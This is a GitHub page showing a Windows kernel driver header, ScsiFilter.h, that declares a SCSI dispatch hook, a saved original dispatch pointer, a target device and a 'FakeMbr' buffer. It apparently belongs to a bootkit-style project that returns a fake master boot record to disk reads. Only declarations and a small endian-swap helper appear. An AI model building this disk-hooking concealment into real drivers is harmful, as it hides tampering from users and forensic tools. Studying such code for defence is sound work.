-
Notifications
You must be signed in to change notification settings - Fork 70
Expand file tree
/
Copy pathScsiFilter.h
More file actions
35 lines (29 loc) · 767 Bytes
/
ScsiFilter.h
File metadata and controls
35 lines (29 loc) · 767 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//C++ templates in a driver, sue me
template <typename T>
T swap_endian(T u)
{
union
{
T u;
unsigned char u8[sizeof(T)];
} source, dest;
source.u = u;
for (size_t k = 0; k < sizeof(T); k++)
dest.u8[k] = source.u8[sizeof(T) - k - 1];
return dest.u;
}
//Custom context structure for completion routine
typedef struct
{
PIO_COMPLETION_ROUTINE OriginalRoutine;
PVOID OriginalContext;
UCHAR OriginalControl;
ULONG LBA;
USHORT TransferLength;
} COMPLETION_CTX, *PCOMPLETION_CTX;
NTSTATUS ScsiFilter(PDEVICE_OBJECT DeviceObject, PIRP Irp);
typedef NTSTATUS(*TypeMajorFunction)(PDEVICE_OBJECT DeviceObject, PIRP Irp);
extern PVOID FakeMbr;
extern TypeMajorFunction OriginalScsi;
extern KSPIN_LOCK FakeMbrWriteLock;
extern PDEVICE_OBJECT TargetDevice;